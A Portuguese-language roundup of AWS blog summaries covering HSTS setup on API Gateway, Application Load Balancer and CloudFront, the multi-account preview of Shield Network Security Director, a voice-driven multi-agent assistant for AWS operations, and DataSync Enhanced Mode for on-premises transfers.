HTTP Strict Transport Security é um mecanismo de política de segurança web que protege websites contra ataques de rebaixamento de protocolo e roubo de cookies. Quando um servidor web declara política HSTS através do header Strict-Transport-Security, navegadores compatíveis convertem automaticamente solicitações HTTP para HTTPS para o domínio especificado.

Por Que HSTS Importa Além de Redirecionamentos HTTP→HTTPS

A maioria dos servidores web já implementa redirecionamento de HTTP para HTTPS. Porém, essa abordagem deixa uma janela de vulnerabilidade durante a primeira solicitação do navegador:

• Usuário digita exemplo.com.br no navegador
• Navegador envia requisição HTTP para http://exemplo.com.br
• Servidor responde com redirecionamento 301/302 para https://exemplo.com.br
• Navegador segue o redirecionamento e estabelece conexão HTTPS

A solicitação HTTP inicial (etapa 2) cria uma oportunidade para ataques. Uma parte não autorizada posicionada entre o usuário e a infraestrutura pode interceptar essa requisição e responder com conteúdo aparentemente legítimo mantendo uma conexão não segura. Essa técnica, conhecida como SSL stripping, pode ocorrer mesmo quando sua infraestrutura AWS está corretamente configurada com redirecionamentos HTTPS.

HSTS resolve essa vulnerabilidade movendo a imposição de segurança para o nível do navegador. Após receber uma política HSTS, o navegador converte automaticamente requisições HTTP para HTTPS antes de enviá-las pela rede:

• Usuário digita exemplo.com.br no navegador
• Navegador converte automaticamente para HTTPS graças à política HSTS armazenada
• Navegador envia requisição HTTPS diretamente para https://exemplo.com.br
• Nenhuma requisição HTTP inicial elimina a oportunidade de interceptação

Essa imposição no nível do navegador fornece proteção que complementa as configurações de segurança da infraestrutura AWS, criando defesa em profundidade contra problemas de rebaixamento de protocolo. HSTS também ajuda a prevenir acesso não autorizado a sessões, protegendo contra roubo de credenciais.

Casos de Uso Principais para HSTS

HSTS protege cenários que redirecionamentos HTTP simples não cobrem. Por exemplo, quando sistemas legados servem conteúdo misto, ou quando fluxos de SSO redirecionam usuários entre provedores, HSTS mantém as conexões criptografadas ao longo de todo o processo.

Em arquiteturas de microsserviços usando API Gateway com comunicação entre serviços, HSTS protege endpoints de API contra rebaixamento de protocolo durante conexões iniciais de clientes. Aplicações com CloudFront e múltiplos servidores de origem também se beneficiam, pois HSTS previne que navegadores façam fallback para HTTP durante cenários de failover.

Configurando HSTS no Amazon API Gateway

O Amazon API Gateway oferece múltiplas formas para adicionar headers HSTS em respostas de API.

HTTP APIs com Parameter Mapping

Para HTTP APIs, é possível configurar mapeamento de parâmetros de resposta para definir headers HSTS quando invocado via endpoint padrão ou domínio customizado:

1. Navegue até a configuração de rota da sua HTTP API no console do API Gateway
2. Acesse as configurações de integração na aba “Manage integrations”
3. Na seção de Response, insira 200 como código de status
4. Selecione “Append” como tipo de modificação
5. Em “Parameter to modify”, digite header.Strict-Transport-Security
6. Em Value, insira max-age=31536000; includeSubDomains; preload

REST APIs com Proxy e Non-Proxy Integration

REST APIs no API Gateway oferecem controle mais granular sobre implementação de HSTS através de padrões de integração proxy e non-proxy.

Para integrações proxy (como AWS Lambda), o serviço backend assume responsabilidade por gerar headers HSTS. Exemplo com Lambda:

import json

def lambda_handler(event, context):
    return {
        'statusCode': 200,
        'headers': {
            'Strict-Transport-Security': 'max-age=31536000; includeSubDomains; preload'
        },
        'body': json.dumps('Resposta segura com headers HSTS')
    }

Para integrações non-proxy, os headers HSTS devem ser retornados pelo API Gateway através de templates de mapeamento ou resposta de método. Usando templates de mapeamento com Velocity Template Language (VTL), é possível configurar geração dinâmica de headers:

$input.json("$")
#set($newValue = "$input.params().header.get('Host')")
#set($context.responseOverride.header.Strict-Transport-Security = "max-age=31536000; includeSubDomains; preload")

Alternativamente, a aba “Method response” oferece configuração declarativa mapeando explicitamente o header strict-transport-security, seguido da aba “Integration response” onde você mapeia o valor como max-age=31536000; includeSubDomains; preload.

Para validar a implementação, utilize:

curl -i https://seu-api-gateway-url.execute-api.regiao.amazonaws.com/stage/recurso

A resposta esperada deve incluir:

strict-transport-security: max-age=31536000; includeSubDomains; preload

Implementando HSTS com Application Load Balancer

Os Application Load Balancers agora oferecem suporte integrado para modificação de headers de resposta HTTP, incluindo headers HSTS. Isso permite impor políticas de segurança consistentes em todos os seus serviços a partir de um único ponto, reduzindo esforço de desenvolvimento e garantindo proteção uniforme independentemente das tecnologias backend utilizadas.

Pré-requisitos e Configuração Inicial

Antes de implementar HSTS com load balancers, verifique se sua infraestrutura atende aos requisitos:

• Listener HTTPS funcional corretamente configurado
• Certificados TLS válidos na AWS Certificate Manager
• Recurso de modificação de headers habilitado para o listener (desabilitado por padrão)

Ativando Modificação de Headers de Resposta

Application Load Balancers suportam injeção direta de headers HSTS através do recurso de modificação de headers de resposta, fornecendo imposição centralizada de políticas de segurança sem necessidade de configuração em aplicações individuais.

1. Abra o console Amazon EC2 e navegue até Load Balancers
2. Selecione seu Application Load Balancer
3. Na aba “Listeners and rules”, selecione o listener HTTPS
4. Na aba “Attributes”, escolha “Edit”
5. Expanda a seção “Add response headers”
6. Selecione “Add HTTP Strict Transport Security (HSTS) header”
7. Configure o valor do header como max-age=31536000; includeSubDomains; preload
8. Clique em “Save changes”

Quando a modificação de headers é habilitada no ALB, a aplicação automática segue padrão consistente: se a resposta do backend não incluir o header especificado, o ALB o adiciona com o valor configurado; se a resposta já o contiver, o ALB substitui o valor existente pelo configurado. Isso garante imposição de política consistente em todas as respostas através do load balancer.

Para validar:

curl -I https://seu-loadbalancer-xxxx.us-west-2.elb.amazonaws.com

Resposta esperada:

strict-transport-security: max-age=31536000; includeSubDomains; preload

Configurando HSTS no Amazon CloudFront

O Amazon CloudFront oferece suporte integrado para headers de segurança HTTP, incluindo HSTS, através de políticas de headers de resposta. Esse recurso possibilita gerenciamento centralizado de headers de segurança na borda da CDN, garantindo imposição consistente de política em conteúdo cacheado e não-cacheado.

Criando Política de Headers de Resposta

É possível utilizar o recurso de política de headers de resposta do CloudFront para configurar headers de segurança automaticamente adicionados às respostas servidas por sua distribuição. O CloudFront oferece políticas de headers de resposta gerenciadas com valores pré-definidos para headers de segurança HTTP mais comuns, ou você pode criar uma política customizada.

1. No console CloudFront, navegue até “Policies” e depois “Response headers”
2. Escolha “Create response headers policy”
3. Configure as definições:
   • Name: HSTS-Security-Policy
   • Description: HSTS e headers de segurança para aplicações web
4. Sob “Security headers”, configure:
   • Strict Transport Security: ative e defina Max age como 31.536.000 segundos (1 ano)
   • Preload: ative (opcional)
   • IncludeSubDomains: ative (opcional)
5. Adicione headers de segurança adicionais:
   • X-Content-Type-Options
   • X-Frame-Options: selecione “SAMEORIGIN”
   • Referrer-Policy: selecione “strict-origin-when-cross-origin”
   • X-XSS-Protection: ative com “Block” selecionado
6. Clique em “Create”

Anexando a Política à Distribuição

1. Navegue até sua distribuição CloudFront
2. Selecione a aba “Behaviors”
3. Edite o comportamento padrão (ou crie um novo)
4. Sob “Response headers policy”, selecione a política criada
5. Clique em “Save changes”

Para validar:

curl -I https://seu-dominio-cloudfront.cloudfront.net

Resposta esperada:

strict-transport-security: max-age=31536000; includeSubDomains; preload
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
referrer-policy: strict-origin-when-cross-origin
x-xss-protection: 1; mode=block
x-cache: Hit from cloudfront

Considerações de Segurança e Boas Práticas

Configuração de Max-Age

A diretiva max-age determina por quanto tempo navegadores aplicarão política HTTPS-only. As recomendações de duração são:

• 300 segundos (5 minutos): Seguro para experiências durante fase de teste inicial
• 86.400 segundos (1 dia): Compromisso de curto prazo, como ambientes de desenvolvimento
• 2.592.000 segundos (30 dias): Validação de médio prazo, como ambientes staging
• 31.536.000 segundos (1 ano): Compromisso de longo prazo, como ambientes produção

Recomenda-se começar com valores menores de max-age durante implementação inicial e aumentá-los gradualmente conforme você ganha confiança na estabilidade da infraestrutura HTTPS.

Diretiva includeSubDomains

A diretiva includeSubDomains estende imposição HSTS a todos os subdomínios. Oferece proteção abrangente em toda hierarquia de domínio e previne ataques baseados em subdomínios, porém requer que todos os subdomínios suportem HTTPS com certificados SSL válidos e mantenham política de segurança consistente na hierarquia de domínio.

Preload para Máxima Cobertura

Considerar implementar HSTS preload para cobertura máxima de segurança:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Preload fornece proteção para visitantes pela primeira vez através de imposição no nível do navegador antes de requisições de rede, mas requer submissão a listas de preload do navegador e é difícil de reverter, exigindo compromisso de longo prazo com infraestrutura HTTPS.

Fonte

Implementing HTTP Strict Transport Security (HSTS) across AWS services (https://aws.amazon.com/blogs/security/implementing-http-strict-transport-security-hsts-across-aws-services/)

Novo recurso de gerenciamento centralizado de segurança de rede

A AWS anunciou, em dezembro de 2025, a expansão do AWS Shield Network Security Director com suporte a análise de segurança em múltiplas contas. Esta capacidade, que se encontra em fase de preview, permite que organizações gerenciem a segurança de rede de forma centralizada em toda sua estrutura na nuvem.

Como funciona o Network Security Director

O AWS Shield Network Security Director é uma ferramenta de visibilidade que oferece insights detalhados sobre os recursos AWS em sua organização. Seu principal objetivo é identificar lacunas na segurança e detectar serviços de segurança de rede que estão ausentes ou mal configurados, oferecendo ao mesmo tempo recomendações específicas para correção.

Análise centralizada em múltiplas contas

Com o novo recurso de análise multi-contas, é possível designar uma conta de administrador delegado para coordenar a análise contínua de segurança de rede. A partir dessa conta central, você consegue monitorar múltiplas contas ou unidades organizacionais em toda a sua AWS Organization.

A visão centralizada permite acompanhar a topologia de rede de cada conta, visualizar as descobertas de segurança identificadas e acessar as recomendações de remediação de forma agregada. Tudo isso sem precisar alternar entre diferentes contas ou consoles.

Integração com Amazon Q Developer

Uma das funcionalidades interessantes é a capacidade de gerar resumos e relatórios sobre as lacunas de segurança de rede identificadas. Esses relatórios podem ser solicitados e visualizados diretamente através do Amazon Q Developer, tanto dentro do AWS Management Console quanto em aplicativos de chat, simplificando o acesso às informações para equipes de segurança.

Expansão geográfica do serviço

Além do suporte a múltiplas contas, a AWS expandiu a disponibilidade geográfica do AWS Shield Network Security Director. O serviço agora está disponível em cinco regiões adicionais:

• Europe (Ireland)
• Europe (Frankfurt)
• Asia Pacific (Hong Kong)
• Asia Pacific (Singapore)
• Australia (Sydney)

Essa expansão permite que organizações em diferentes regiões do mundo desfrutem das mesmas capacidades de gerenciamento de segurança de rede, mantendo dados próximos de suas operações locais.

Próximos passos

Para organizações interessadas em explorar esta nova funcionalidade, a AWS recomenda consultar a página de visão geral do AWS Shield para obter mais detalhes técnicos e iniciar a avaliação da solução durante a fase de preview.

Fonte

AWS Shield network security director now supports multi-account analysis (https://aws.amazon.com/about-aws/whats-new/2025/12/aws-shield-network-security-director-multi-account-analysis)

Transformando Gerenciamento de Nuvem com Interfaces de Voz

À medida que infraestruturas em nuvem se tornam cada vez mais sofisticadas, a demanda por interfaces de gerenciamento intuitivas e eficientes cresce proporcionalmente. Interfaces de linha de comando (CLI) e consoles web tradicionais, embora poderosos, frequentemente criam barreiras que ralentizam a tomada de decisões e comprometem a eficiência operacional. E se fosse possível conversar diretamente com sua infraestrutura AWS e receber respostas inteligentes de forma imediata?

A AWS apresenta uma abordagem inovadora que combina Amazon Nova Sonic para processamento de voz com Strands Agents para orquestração de múltiplos agentes especializados. Esta solução demonstra como interações naturais por voz podem revolucionar operações em nuvem, tornando serviços AWS mais acessíveis e operações significativamente mais eficientes.

A arquitetura multi-agente apresentada vai além de simples operações AWS, estendendo-se para casos de uso diversos como automação de atendimento ao cliente, gerenciamento de dispositivos de Internet das Coisas (IoT), análise de dados financeiros e orquestração de fluxos de trabalho corporativos. Este padrão fundamental pode ser adaptado para qualquer domínio que exija roteamento inteligente de tarefas e interação baseada em linguagem natural.

Explorando a Arquitetura Técnica

A solução emprega uma arquitetura sofisticada onde Amazon Nova Sonic se integra perfeitamente com Strands Agents, criando um sistema multi-agente que processa comandos de voz e executa operações AWS em tempo real.

Componentes Principais

A arquitetura multi-agente é composta por diversos componentes especializados que trabalham em conjunto:

• Agente Supervisor: Funciona como coordenador central, analisando consultas de voz recebidas e as direcionando para o agente especializado apropriado, com base no contexto e intenção da solicitação
• Agentes Especializados:
  • Agente EC2: Responsável por gerenciamento de instâncias, monitoramento de status e operações de computação
  • Agente SSM: Gerencia operações do Systems Manager, execução de comandos e gerenciamento de patches
  • Agente de Backup: Supervisiona configurações de AWS Backup, monitoramento de trabalhos e operações de restauração
• Camada de Integração de Voz: Utiliza Amazon Nova Sonic para processamento bidirecional de voz, convertendo fala em texto para processamento e texto em fala para respostas

Visão Geral da Solução

O Assistente Nova Voice de Strands Agents demonstra um novo paradigma para gerenciamento de infraestrutura AWS através de inteligência artificial conversacional. Em vez de navegar por consoles complexos ou memorizar comandos CLI, usuários podem simplesmente expressar suas intenções por voz e receber respostas instantâneas. Esta solução coloca a comunicação humana natural no centro das operações técnicas AWS, democratizando o gerenciamento de nuvem para equipes técnicas e não-técnicas.

Stack Tecnológico

A solução utiliza tecnologias modernas e nativas de nuvem para entregar uma interface de voz robusta e escalável:

• Backend: Python 3.12+ com framework Strands Agents para orquestração de agentes
• Frontend: React com AWS Cloudscape Design System para experiência de usuário consistente com padrões AWS
• Modelos de IA: Amazon Bedrock e Claude 3 Haiku para compreensão e geração de linguagem natural
• Processamento de voz: Amazon Nova Sonic para síntese e reconhecimento de fala de alta qualidade
• Comunicação: Servidor WebSocket para comunicação bidirecional em tempo real

Recursos e Capacidades Principais

O assistente de voz oferece funcionalidades avançadas que tornam operações AWS mais intuitivas e eficientes. O sistema compreende consultas naturais de voz e as converte em chamadas apropriadas às APIs AWS. Por exemplo:

• “Mostrar todas as instâncias EC2 em execução em us-east-1”
• “Instalar o agente Amazon CloudWatch usando SSM nas minhas instâncias Dev”
• “Verificar o status dos trabalhos de backup de ontem à noite”

As respostas são especificamente otimizadas para entrega por voz, com resumos concisos limitados a 800 caracteres, informações estruturadas claras e fraseado conversacional que soa natural quando sintetizado em fala, evitando jargão técnico e utilizando sentenças completas adequadas para síntese de voz.

Colocando em Prática

Começar com o assistente de voz envolve três etapas principais:

Configuração do Ambiente

• Configurar credenciais AWS com acesso a Bedrock, Nova Sonic e serviços AWS alvo
• Preparar ambiente backend Python 3.12+ e frontend React
• Garantir permissões apropriadas de AWS Identity and Access Management (IAM) para operações multi-agente

Iniciando a Aplicação

• Iniciar o servidor Python WebSocket para processamento de voz
• Iniciar o frontend React com componentes AWS Cloudscape
• Configurar definições de voz e conexões WebSocket
• Começar interações de voz

Testando a Solução

• Conceder permissões de microfone do navegador para entrada de voz
• Testar com comandos de exemplo como “Listar minhas instâncias EC2” ou “Verificar status de backup”
• Experienciar respostas de voz em tempo real através de Amazon Nova Sonic

Instruções completas de implementação, exemplos de código e guias de solução de problemas estão disponíveis no repositório GitHub.

Exemplos de Comandos para Testar

Teste o assistente de voz com estes comandos de exemplo:

Gerenciamento de Instâncias EC2

• “Listar minhas instâncias EC2 dev onde a chave de tag é ‘env’”
• “Qual é o status dessas instâncias?”
• “Iniciar essas instâncias”
• “Essas instâncias têm permissões SSM?”

Gerenciamento de Backup

• “Garantir que essas instâncias sejam feitas backup diariamente”

Gerenciamento de SSM

• “Instalar agente CloudWatch usando SSM nessas instâncias”
• “Verificar essas instâncias quanto a patches usando SSM”

Exemplos de Implementação

Os exemplos de código demonstram padrões-chave de integração e práticas recomendadas para implementar o assistente de voz. Eles mostram como integrar Amazon Nova Sonic para processamento de voz e configurar o agente supervisor para roteamento inteligente de tarefas.

Configuração de Strands Agents

A implementação utiliza um padrão de orquestrador multi-agente com agentes especializados:

from strands import Agent
from config.conversation_config import ConversationConfig
from config.config import create_bedrock_model

class SupervisorAgent(Agent):
    def __init__(self, specialized_agents, config=None):
        bedrock_model = create_bedrock_model(config)
        conversation_manager = ConversationConfig.create_conversation_manager("supervisor")
        super().__init__(
            model=bedrock_model,
            system_prompt=self._get_routing_instructions(),
            tools=[],  # No tools for pure router
            conversation_manager=conversation_manager,
        )
        self.specialized_agents = specialized_agents

Integração com Nova Sonic

A implementação utiliza um servidor WebSocket com gerenciamento de sessão para processamento de voz em tempo real:

class S2sSessionManager:
    def __init__(self, model_id='amazon.nova-sonic-v1:0', region='us-east-1', config=None):
        self.model_id = model_id
        self.region = region
        self.audio_input_queue = asyncio.Queue()
        self.output_queue = asyncio.Queue()
        self.supervisor_agent = SupervisorAgentIntegration(config)

    async def processToolUse(self, toolName, toolUseContent):
        if toolName == "supervisoragent":
            result = await self.supervisor_agent.query(content)
            if len(result) > 800:
                result = result[:800] + "... (truncated for voice)"
            return {"result": result}

Considerações de Segurança

Esta solução foi projetada para fins de desenvolvimento e testes. Antes de implantar em ambientes produtivos, implemente controles de segurança apropriados incluindo:

• Mecanismos de autenticação e autorização
• Controles de segurança de rede e restrições de acesso
• Monitoramento e logging para conformidade de auditoria
• Controles de custo e monitoramento de uso

Sempre siga as práticas recomendadas de segurança da AWS e o princípio do menor privilégio ao configurar permissões IAM.

Considerações para Produção

Embora esta solução demonstre capacidades de Strands Agents usando uma abordagem de implantação focada em desenvolvimento, organizações planejando implementações produtivas devem considerar o Amazon Bedrock AgentCore Runtime para hospedagem e gerenciamento em nível corporativo.

Benefícios do Amazon Bedrock AgentCore para Implantação Produtiva

• Runtime Serverless: Propositadamente construído para implantar e dimensionar agentes de IA dinâmicos sem gerenciar infraestrutura
• Isolamento de Sessão: Isolamento completo de sessão com microVMs dedicadas para cada sessão de usuário, fundamental para agentes que executam operações privilegiadas
• Auto-dimensionamento: Dimensionar para milhares de sessões de agente em segundos com precificação por uso
• Segurança Corporativa: Controles de segurança integrados com integração perfeita a provedores de identidade (Amazon Cognito, Microsoft Entra ID, Okta)
• Observabilidade: Rastreamento distribuído integrado, métricas e capacidades de depuração através da integração CloudWatch
• Persistência de Sessão: Altamente confiável com persistência de sessão para interações de agentes de longa duração

Para organizações prontas para avançar além de desenvolvimento e testes, o Amazon Bedrock AgentCore Runtime oferece a base pronta para produção necessária para implantar assistentes AWS baseados em voz em escala corporativa.

Extensão para Serviços AWS Adicionais

O sistema pode ser estendido para suportar serviços AWS adicionais:

• AWS Lambda: Executar funções serverless através de comandos de voz
• Amazon CloudWatch: Consultar métricas e logs através de linguagem natural
• Amazon Relational Database Service (RDS): Operações de gerenciamento e monitoramento de banco de dados

Síntese

O Assistente Nova Voice de Strands Agents demonstra o potencial significativo de combinar interfaces de voz com orquestração inteligente de agentes em diversos domínios. Ao aproveitar Amazon Nova Sonic para processamento de fala e Strands Agents para coordenação multi-agente, organizações podem criar formas mais intuitivas e eficientes de interagir com sistemas e fluxos de trabalho complexos.

Esta arquitetura fundamental estende-se muito além de operações em nuvem, habilitando soluções baseadas em voz para automação de atendimento ao cliente, análise financeira, gerenciamento de IoT, fluxos de trabalho em saúde, otimização de cadeia de suprimentos e inúmeras outras aplicações corporativas. A combinação de processamento de linguagem natural, roteamento inteligente e conhecimento especializado de domínio cria uma plataforma versátil para transformar como usuários interagem com qualquer sistema complexo.

A arquitetura modular garante escalabilidade e extensibilidade, permitindo que organizações personalizem a solução para seus domínios e casos de uso específicos. À medida que interfaces de voz continuam evoluindo e capacidades de IA avançam, soluções como esta tendem a se tornar cada vez mais importantes para gerenciar ambientes complexos em todas as indústrias.

Começando

Pronto para construir seu próprio assistente de operações AWS alimentado por voz? O código-fonte completo e documentação estão disponíveis no repositório GitHub. Siga este guia de implementação para começar e não hesite em personalizar a solução para seus casos de uso específicos. Para dúvidas, feedback ou contribuições, consulte o repositório do projeto ou procure nos fóruns da comunidade AWS.

Fonte

Building a voice-driven AWS assistant with Amazon Nova Sonic (https://aws.amazon.com/blogs/machine-learning/building-a-voice-driven-aws-assistant-with-amazon-nova-sonic/)

Nova capacidade de transferência com desempenho ampliado

A AWS anunciou uma expansão significativa do AWS DataSync, serviço seguro e de alta velocidade para otimizar o movimento de dados pela rede. O Modo Aprimorado agora suporta transferências de dados entre servidores de arquivos on-premises e Amazon S3, permitindo que clientes transfiram datasets que escalam para números praticamente ilimitados de arquivos com níveis mais altos de desempenho em comparação ao Modo Básico do DataSync.

Como funciona o Modo Aprimorado

O Modo Aprimorado utiliza processamento paralelo para entregar maior desempenho e escalabilidade para datasets de qualquer tamanho. Seus benefícios principais incluem:

• Remoção de limitações de quantidade de arquivos
• Métricas detalhadas de transferência para melhor monitoramento e gerenciamento
• Processamento paralelo otimizado para performance superior
• Suporte a datasets de escala praticamente ilimitada

Anteriormente, o Modo Aprimorado estava disponível apenas para transferências entre localizações do Amazon S3 e para transferências multicloud. Este lançamento estende essas capacidades para suportar transferências entre servidores de arquivos NFS (Network File System) ou SMB (Server Message Block) on-premises e o Amazon S3.

Casos de uso habilitados

A expansão do DataSync abre possibilidades práticas para diversos cenários empresariais:

• Workloads de IA generativa: clientes podem acelerar essas cargas de trabalho movendo rapidamente datasets de treinamento para a AWS
• Análise de data lakes: sincronizar dados on-premises com pipelines baseados em nuvem potencializa análises em escala
• Migrações em larga escala: dirigir migrações para arquivamento e modernização de aplicações na nuvem

Disponibilidade e próximos passos

A nova capacidade está disponível em todas as regiões AWS onde o DataSync é oferecido. Para começar, clientes podem acessar o console do AWS DataSync. Informações técnicas detalhadas estão disponíveis na documentação do AWS DataSync.

Fonte

AWS DataSync increases scalability and performance for on-premises file transfers (https://aws.amazon.com/about-aws/whats-new/2025/12/aws-datasync-scalability-performance-on-premises-file-transfers)